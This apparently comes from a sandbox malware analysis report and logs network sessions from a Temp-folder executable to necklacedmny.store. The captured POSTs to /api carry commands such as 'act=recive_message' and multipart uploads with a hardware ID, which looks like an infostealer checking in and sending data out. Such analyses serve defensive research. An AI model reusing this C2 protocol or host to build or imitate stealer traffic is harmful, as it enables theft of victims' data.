2024-10-30 11:36:31 UTC	214	IN	Data Raw: 64 30 0d 0a 65 77 37 38 39 64 31 78 43 46 43 32 79 45 78 56 39 53 64 77 74 6b 53 4c 72 45 61 69 79 68 46 6a 46 67 39 58 43 46 72 70 76 42 45 67 64 64 36 41 2f 30 73 71 4f 4d 4b 38 50 47 2b 70 43 43 79 5a 64 62 4f 5a 61 4a 44 37 4a 45 30 6e 50 6d 51 6d 61 39 2f 67 50 68 52 6f 6d 71 6e 79 46 57 30 32 6d 4b 30 30 4d 4e 63 4c 55 74 41 77 71 5a 5a 32 6a 75 68 30 51 53 77 2f 4b 69 51 68 79 38 6b 7a 51 53 79 55 67 61 6b 42 4d 67 79 5a 6c 47 4e 6b 7a 52 4a 65 68 48 57 2b 67 6e 65 54 2b 54 39 53 49 46 4e 34 5a 54 4f 48 32 55 31 55 66 4a 32 62 75 52 35 6c 66 74 4f 77 4b 58 66 5a 42 52 62 43 5a 72 47 63 61 6f 43 76 4d 31 6b 6d 63 67 6f 3d 0d 0a Data Ascii: d0ew789d1xCFC2yExV9SdwtkSLrEaiyhFjFg9XCFrpvBEgdd6A/0sqOMK8PG+pCCyZdbOZaJD7JE0nPmQma9/gPhRomqnyFW02mK00MNcLUtAwqZZ2juh0QSw/KiQhy8kzQSyUgakBMgyZlGNkzRJehHW+gneT+T9SIFN4ZTOH2U1UfJ2buR5lftOwKXfZBRbCZrGcaoCvM1kmcgo=
2024-10-30 11:36:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49748	188.114.97.3	443	3352	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:36:54 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 11:36:54 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 11:36:54 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:36:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tgd35905lpvs15lueefd6ie5ot; expires=Sun, 23 Feb 2025 05:23:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pjCyYfXuDLn61jLJy2VsJOP6%2BktEXLKUsR%2FDdd5xX3syhvh9dMB1GtG2wX0HU3OcrRCo%2B47cjEJk1B0vXUcsh%2BkOgdqaA3H8RpwLWM33iOmMnlnihyyI5eNTjXCqSxR0i8VrCN8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1c3a5c686b64-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1090&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=2016713&cwnd=250&unsent_bytes=0&cid=f0e49bda54ebbac0&ts=595&x=0"
2024-10-30 11:36:54 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 11:36:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49750	188.114.97.3	443	3352	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:36:55 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-30 11:36:55 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 11:36:55 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l8j04f7dahsgcmvue3icj3vccd; expires=Sun, 23 Feb 2025 05:23:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ndbJ%2FfVUxp0PZ3F6SaJr2qD6WdPYm0W2FaS%2BM4b8eKKclFTjiC8MGurM5uBubmM1JWRZRS6lMDYp3Yb5sqF%2Fv4cSvNJ4Sx0bG%2Fs0CXosSmONSYqHUlbLZCxHFISwkXdBPcJS08g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1c413c824636-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1946&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=1477551&cwnd=251&unsent_bytes=0&cid=754cce3fac54e5e7&ts=713&x=0"
2024-10-30 11:36:55 UTC	354	IN	Data Raw: 34 64 63 0d 0a 7a 68 34 33 42 45 50 4f 64 76 6f 6d 71 37 36 52 6b 49 36 77 42 42 54 7a 36 6c 52 6c 61 4a 77 4d 4d 64 32 5a 48 41 63 70 72 69 69 31 50 45 45 6d 65 66 70 61 32 46 58 4f 6e 4b 76 6b 2f 4d 56 68 4f 4e 47 4c 4d 45 64 53 2b 6d 31 64 72 76 77 77 4a 56 2f 44 43 76 52 34 56 6d 67 77 71 31 72 59 51 39 4f 63 71 38 76 31 6b 6d 46 36 30 64 42 32 41 41 4c 2b 62 56 32 2f 2b 48 64 6f 57 63 4a 4c 70 6e 4a 51 62 43 61 74 45 70 74 4b 78 74 76 30 39 65 2f 61 61 6e 32 65 67 6a 6c 48 52 4c 35 70 53 2f 2b 6a 50 6b 70 4d 32 6b 6d 44 66 30 52 76 59 62 4e 61 67 51 54 4f 30 4c 4f 71 72 4e 46 68 64 70 2b 4d 4d 41 34 41 39 47 52 56 76 76 31 32 64 30 44 49 51 4b 5a 38 55 32 30 73 70 41 61 57 51 4d 48 51 38 76 2f 76 6b 69 67 32 6c 70 42 32 58 30 71 74 58 46 43 75 36 6d Data Ascii: 4dczh43BEPOdvomq76RkI6wBBTz6lRlaJwMMd2ZHAcprii1PEEmefpa2FXOnKvk/MVhONGLMEdS+m1drvwwJV/DCvR4Vmgwq1rYQ9Ocq8v1kmF60dB2AAL+bV2/+HdoWcJLpnJQbCatEptKxtv09e/aan2egjlHRL5pS/+jPkpM2kmDf0RvYbNagQTO0LOqrNFhdp+MMA4A9GRVvv12d0DIQKZ8U20spAaWQMHQ8v/vkig2lpB2X0qtXFCu6m
2024-10-30 11:36:55 UTC	897	IN	Data Raw: 52 53 4b 54 4d 4c 58 39 75 44 6e 32 32 74 37 6b 59 55 38 43 41 6e 2b 61 56 6d 31 39 48 52 68 52 73 46 4d 72 48 77 56 4b 47 47 72 44 4e 67 63 69 66 2f 32 34 75 76 65 63 44 53 72 79 43 6c 4a 45 37 35 70 58 2f 2b 6a 50 6d 31 4f 7a 30 6d 6e 63 31 5a 75 4b 72 34 55 69 6b 4c 45 32 65 48 30 36 64 78 73 64 59 4f 43 4f 41 45 4a 39 32 56 61 75 76 78 36 4a 51 57 4d 54 62 51 38 44 53 59 41 6f 52 2b 55 54 74 37 63 73 2b 32 69 79 79 5a 78 6e 63 68 75 52 77 37 2f 61 6c 4b 37 39 58 42 68 52 38 70 45 6f 58 4e 54 62 43 47 72 48 70 42 4d 79 4e 48 34 2f 65 7a 58 61 33 4b 58 68 44 63 43 53 72 41 75 56 4b 65 37 4a 69 56 6c 79 30 6d 2b 50 6d 42 6c 4c 36 49 54 6a 67 54 57 6b 75 71 79 36 39 34 6d 4c 74 47 47 4d 77 67 59 2f 33 78 57 73 65 6c 79 59 45 33 42 53 61 4a 38 55 47 45 73 Data Ascii: RSKTMLX9uDn22t7kYU8CAn+aVm19HRhRsFMrHwVKGGrDNgcif/24uvecDSryClJE75pX/+jPm1Oz0mnc1ZuKr4UikLE2eH06dxsdYOCOAEJ92Vauvx6JQWMTbQ8DSYAoR+UTt7cs+2iyyZxnchuRw7/alK79XBhR8pEoXNTbCGrHpBMyNH4/ezXa3KXhDcCSrAuVKe7JiVly0m+PmBlL6ITjgTWkuqy694mLtGGMwgY/3xWselyYE3BSaJ8UGEs
2024-10-30 11:36:55 UTC	1369	IN	Data Raw: 33 66 39 30 0d 0a 6f 52 75 52 54 63 44 4f 2b 66 37 69 77 47 74 38 6c 49 59 36 41 67 58 2b 62 31 4b 78 38 58 55 6c 42 59 78 4e 74 44 77 4e 4a 67 36 68 42 49 70 4f 77 73 32 78 78 2b 2f 63 61 48 47 48 79 43 6c 4a 45 37 35 70 58 2f 2b 6a 50 6d 35 4e 77 45 61 73 65 6b 64 6f 4c 72 34 65 69 6b 44 48 32 50 2f 38 35 64 39 70 63 34 4f 4d 4e 68 55 4c 2b 32 6c 64 73 75 6c 37 4a 51 57 4d 54 62 51 38 44 53 59 62 6d 42 4f 49 56 63 36 65 78 76 48 69 33 47 46 67 30 5a 64 34 48 6b 72 35 59 68 50 6e 75 33 31 70 52 73 56 50 6f 32 35 66 61 69 43 2b 45 35 46 4e 77 39 33 39 2f 65 66 65 59 32 53 61 68 7a 34 49 43 2f 4e 6a 57 4c 76 37 50 69 73 4c 79 31 4c 73 4a 42 56 48 4c 4b 4d 47 6d 31 57 4c 36 66 44 38 34 74 56 77 4e 6f 37 47 4c 30 63 4e 38 69 34 4c 2f 2f 70 79 61 55 72 44 54 Data Ascii: 3f90oRuRTcDO+f7iwGt8lIY6AgX+b1Kx8XUlBYxNtDwNJg6hBIpOws2xx+/caHGHyClJE75pX/+jPm5NwEasekdoLr4eikDH2P/85d9pc4OMNhUL+2ldsul7JQWMTbQ8DSYbmBOIVc6exvHi3GFg0Zd4Hkr5YhPnu31pRsVPo25faiC+E5FNw939/efeY2Sahz4IC/NjWLv7PisLy1LsJBVHLKMGm1WL6fD84tVwNo7GL0cN8i4L//pyaUrDT
2024-10-30 11:36:55 UTC	1369	IN	Data Raw: 74 4b 71 67 51 6d 45 6e 43 30 76 33 37 34 4e 70 71 63 59 4f 46 4d 77 38 41 39 32 74 66 73 76 68 73 5a 6b 71 4d 42 4f 78 37 54 53 5a 35 37 44 4f 72 63 2b 71 63 37 4c 7a 31 6b 6d 46 36 30 64 42 32 42 67 4c 35 59 46 65 74 39 57 78 72 54 4d 78 4d 70 48 52 53 61 69 2b 69 42 70 42 46 79 64 4c 38 2b 75 58 57 5a 33 4b 56 68 44 46 48 52 4c 35 70 53 2f 2b 6a 50 6b 31 49 31 6c 44 75 55 6c 35 6d 4a 72 77 43 67 77 54 57 6b 75 71 79 36 39 34 6d 4c 74 47 4d 50 51 30 44 2f 57 64 58 73 76 74 33 61 6b 4c 45 52 36 52 75 56 47 77 7a 71 42 47 5a 53 38 50 59 2b 2f 37 6a 33 6d 4a 6b 6d 73 68 34 52 77 33 6d 4c 67 76 2f 32 33 56 7a 61 4e 35 59 37 47 4d 62 66 32 47 72 47 4e 67 63 69 64 58 2f 38 2b 33 59 59 48 32 55 68 54 59 43 41 50 6c 69 55 37 2f 34 65 47 4e 47 78 45 4b 67 63 46 Data Ascii: tKqgQmEnC0v374NpqcYOFMw8A92tfsvhsZkqMBOx7TSZ57DOrc+qc7Lz1kmF60dB2BgL5YFet9WxrTMxMpHRSai+iBpBFydL8+uXWZ3KVhDFHRL5pS/+jPk1I1lDuUl5mJrwCgwTWkuqy694mLtGMPQ0D/WdXsvt3akLER6RuVGwzqBGZS8PY+/7j3mJkmsh4Rw3mLgv/23VzaN5Y7GMbf2GrGNgcidX/8+3YYH2UhTYCAPliU7/4eGNGxEKgcF
2024-10-30 11:36:55 UTC	1369	IN	Data Raw: 48 4a 4e 43 78 39 33 31 2f 75 47 53 4b 44 61 57 6b 48 5a 66 53 74 6c 30 58 72 6e 73 62 31 42 4d 7a 42 76 73 59 78 74 2f 59 61 73 59 32 42 79 4a 30 66 2f 34 34 64 64 69 66 70 61 4c 4e 77 73 4f 38 32 4e 58 74 76 39 37 64 31 6e 4b 52 4b 78 7a 57 32 6b 74 76 68 71 64 52 4d 57 63 76 62 4c 72 79 69 59 75 30 62 6b 68 42 30 72 68 49 45 72 2f 2f 48 49 6c 45 34 78 46 6f 57 35 5a 61 53 47 74 46 35 78 50 7a 74 72 31 38 2b 2f 58 5a 58 4f 58 69 54 59 4c 41 50 6c 6d 57 62 48 32 65 47 46 4e 79 67 72 69 50 46 4a 2b 59 66 52 55 71 6b 6e 48 31 66 44 30 34 63 52 4f 52 39 47 58 65 42 35 4b 2b 57 49 54 35 37 74 36 62 6b 50 41 54 36 52 35 56 47 34 72 70 42 75 58 56 73 6a 54 2b 76 58 6e 33 32 6c 34 6c 49 59 6b 41 41 48 31 5a 6c 71 78 2f 54 34 72 43 38 74 53 37 43 51 56 55 43 4b Data Ascii: HJNCx931/uGSKDaWkHZfStl0Xrnsb1BMzBvsYxt/YasY2ByJ0f/44ddifpaLNwsO82NXtv97d1nKRKxzW2ktvhqdRMWcvbLryiYu0bkhB0rhIEr//HIlE4xFoW5ZaSGtF5xPztr18+/XZXOXiTYLAPlmWbH2eGFNygriPFJ+YfRUqknH1fD04cROR9GXeB5K+WIT57t6bkPAT6R5VG4rpBuXVsjT+vXn32l4lIYkAAH1Zlqx/T4rC8tS7CQVUCK
2024-10-30 11:36:55 UTC	1369	IN	Data Raw: 4d 33 53 34 66 50 6a 6b 69 67 32 6c 70 42 32 58 30 72 50 65 46 53 34 39 44 78 4d 54 4e 64 4c 70 6e 39 65 61 6d 47 7a 57 6f 45 45 7a 74 43 7a 71 71 7a 66 61 6e 75 56 6d 6a 6f 48 43 76 64 70 57 61 33 30 63 57 68 49 7a 45 2b 2b 66 55 64 70 4b 71 6b 58 6e 45 76 47 30 50 76 34 72 4a 77 6d 63 59 6e 49 62 6b 63 6d 2f 58 39 5a 2f 64 78 6b 63 30 7a 41 57 36 64 78 57 53 59 2b 34 67 33 59 51 38 57 63 71 37 4c 73 30 32 74 6b 6c 49 6b 38 44 51 66 32 59 56 61 36 39 48 70 68 51 4d 4a 59 6f 6e 4e 56 59 43 71 74 45 5a 74 50 77 39 4c 36 34 4b 79 63 4a 6e 47 4a 79 47 35 48 49 4f 56 76 58 72 4f 35 55 47 35 64 79 77 69 4e 63 6c 35 68 4c 62 70 55 68 77 72 51 6e 50 54 2b 72 49 6f 6d 66 35 2b 45 4e 51 41 43 39 6d 74 54 74 50 74 78 62 30 58 4c 57 4b 5a 77 58 33 51 75 72 78 6d 63 Data Ascii: M3S4fPjkig2lpB2X0rPeFS49DxMTNdLpn9eamGzWoEEztCzqqzfanuVmjoHCvdpWa30cWhIzE++fUdpKqkXnEvG0Pv4rJwmcYnIbkcm/X9Z/dxkc0zAW6dxWSY+4g3YQ8Wcq7Ls02tklIk8DQf2YVa69HphQMJYonNVYCqtEZtPw9L64KycJnGJyG5HIOVvXrO5UG5dywiNcl5hLbpUhwrQnPT+rIomf5+ENQAC9mtTtPtxb0XLWKZwX3Qurxmc
2024-10-30 11:36:55 UTC	1369	IN	Data Raw: 71 79 36 39 34 6d 4c 74 47 49 4d 67 73 4a 2b 57 42 63 73 76 52 35 62 6b 54 47 52 4c 35 7a 55 47 34 74 70 42 6d 4b 54 73 50 4f 2b 76 76 68 33 47 35 6b 6b 73 68 34 52 77 33 6d 4c 67 76 2f 79 58 52 6d 52 39 70 48 6f 7a 78 4b 4b 44 6a 73 45 35 51 45 6b 5a 7a 68 34 4f 7a 5a 5a 6e 47 66 6d 6a 63 50 42 66 52 75 56 62 54 78 66 57 78 50 77 6b 4f 71 66 56 68 6e 49 4b 77 52 6d 45 33 62 30 62 4f 38 72 4e 56 2b 4e 73 6e 49 41 51 73 42 7a 32 31 46 2f 2b 51 77 66 41 76 4c 52 75 77 6b 46 57 63 7a 6f 52 79 63 52 4d 54 61 2b 50 50 74 30 57 5a 32 6b 6f 67 7a 44 41 58 34 61 56 36 31 38 6e 64 33 51 38 68 59 72 48 42 52 4a 6d 2f 73 45 34 41 45 6b 5a 7a 44 38 65 66 65 5a 6e 75 45 79 43 6c 4a 45 37 35 70 58 2f 2b 6a 50 6d 31 41 78 30 79 6e 66 31 5a 6f 4b 71 59 62 6c 30 37 50 32 Data Ascii: qy694mLtGIMgsJ+WBcsvR5bkTGRL5zUG4tpBmKTsPO+vvh3G5kksh4Rw3mLgv/yXRmR9pHozxKKDjsE5QEkZzh4OzZZnGfmjcPBfRuVbTxfWxPwkOqfVhnIKwRmE3b0bO8rNV+NsnIAQsBz21F/+QwfAvLRuwkFWczoRycRMTa+PPt0WZ2kogzDAX4aV618nd3Q8hYrHBRJm/sE4AEkZzD8efeZnuEyClJE75pX/+jPm1Ax0ynf1ZoKqYbl07P2
2024-10-30 11:36:55 UTC	1369	IN	Data Raw: 66 62 58 72 54 69 54 73 58 44 62 34 67 45 37 6d 37 4a 6a 55 46 6a 45 36 39 50 41 30 32 63 2f 64 42 79 78 4f 5a 6a 75 79 38 39 5a 4a 77 4e 73 6e 61 65 45 63 59 76 6a 59 54 2b 50 68 73 64 30 33 50 58 4b 38 37 61 31 67 42 70 78 69 62 53 4d 6a 62 73 37 79 73 33 53 59 75 71 4d 67 31 46 52 69 78 66 30 57 79 36 33 6b 70 51 39 31 48 6f 44 77 62 4a 6d 32 6f 48 35 52 42 7a 73 79 38 34 50 7a 5a 61 6d 44 64 6a 43 52 48 52 4c 35 2f 57 4c 44 70 63 47 49 45 33 56 79 68 62 46 5a 6a 4a 75 41 63 69 55 6e 46 6e 4c 32 79 2b 64 6c 71 63 4a 79 64 65 52 59 63 2f 58 68 55 38 2f 4e 76 61 45 65 4d 64 65 49 38 54 53 5a 35 37 43 47 62 53 73 66 62 35 65 4f 68 38 6d 31 36 6b 6f 51 33 41 45 71 77 4c 6c 58 2f 6f 79 30 72 43 38 68 62 37 43 51 46 4e 48 72 35 52 38 38 55 6d 38 4f 39 36 36 Data Ascii: fbXrTiTsXDb4gE7m7JjUFjE69PA02c/dByxOZjuy89ZJwNsnaeEcYvjYT+Phsd03PXK87a1gBpxibSMjbs7ys3SYuqMg1FRixf0Wy63kpQ91HoDwbJm2oH5RBzsy84PzZamDdjCRHRL5/WLDpcGIE3VyhbFZjJuAciUnFnL2y+dlqcJydeRYc/XhU8/NvaEeMdeI8TSZ57CGbSsfb5eOh8m16koQ3AEqwLlX/oy0rC8hb7CQFNHr5R88Um8O966
2024-10-30 11:36:55 UTC	1369	IN	Data Raw: 79 64 74 34 52 78 69 2b 4e 68 50 34 39 58 4e 6b 53 4d 4a 4a 76 6d 35 54 5a 54 65 76 55 36 5a 36 37 4e 48 2b 39 2b 4c 56 57 45 69 77 67 69 59 4b 42 66 6c 51 62 59 6a 71 65 58 55 4a 36 6b 6d 36 66 78 55 6f 59 62 52 55 77 41 54 6f 31 75 50 2f 34 39 55 6d 4f 4e 47 4d 64 6c 39 4b 32 32 4e 65 75 76 56 35 4a 32 72 47 57 71 46 7a 55 69 5a 76 37 42 6a 59 48 49 6e 64 2b 65 4c 68 33 57 45 36 6c 70 49 78 52 30 53 2b 59 42 50 6e 75 33 39 76 57 38 46 46 71 7a 42 54 61 43 2f 73 43 39 5a 64 69 63 71 7a 71 72 2b 63 4a 6d 54 52 30 48 5a 41 42 50 4e 76 55 4c 48 34 62 48 64 4e 7a 31 79 76 4f 32 74 59 42 4b 45 5a 6e 55 72 4f 34 73 33 54 35 73 4a 72 65 5a 62 4b 46 67 41 63 2f 56 42 74 69 4f 70 35 64 51 6e 71 53 62 70 2f 46 53 68 68 74 46 54 41 42 4f 6a 57 34 2f 2f 6a 31 53 52 Data Ascii: ydt4Rxi+NhP49XNkSMJJvm5TZTevU6Z67NH+9+LVWEiwgiYKBflQbYjqeXUJ6km6fxUoYbRUwATo1uP/49UmONGMdl9K22NeuvV5J2rGWqFzUiZv7BjYHInd+eLh3WE6lpIxR0S+YBPnu39vW8FFqzBTaC/sC9Zdicqzqr+cJmTR0HZABPNvULH4bHdNz1yvO2tYBKEZnUrO4s3T5sJreZbKFgAc/VBtiOp5dQnqSbp/FShhtFTABOjW4//j1SR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49752	188.114.97.3	443	3352	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:36:56 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-30 11:36:56 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:36:56 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-30 11:36:57 UTC	1023	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jk3rfovlk95jvtb5tp8qgg4i1q; expires=Sun, 23 Feb 2025 05:23:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BHVBq4YQB%2BnlVbLnL4gzRUDeuvA60tCxTErv%2BcqGF1QoqpGfzjcat6888ONVDC%2BVabB9lyZWhCUvRc3fMi1XCYsixVBUy3OMRbF8cihhjwZHxq1fpOyDUO0VLBPCtOX%2BMQsPt%2BQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1c4c3e166b73-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1258&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2844&recv_bytes=19132&delivery_rate=2425460&cwnd=251&unsent_bytes=0&cid=23403fe2f3a5ce1f&ts=481&x=0"
2024-10-30 11:36:57 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 11:36:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49753	188.114.97.3	443	3352	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:36:58 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-30 11:36:58 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:36:58 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q16lsgk360cvm7mjvspm3i2ob5; expires=Sun, 23 Feb 2025 05:23:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HgnSbAe7dGqqSESAP%2FFDo7k6Fg99ktM81FCHe5%2BWd3CN1ItSOsSUQKMT4gexrWPh%2BStfLuRVuAyaX5J5zK39GNfLHHOq6z6MBOYD4KoXncliMVFfneEK9PycDqGI37NHPwXJtr4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1c53f8fc463e-DFW alt-svc: h3=":443"; ma=86400 server-timing: 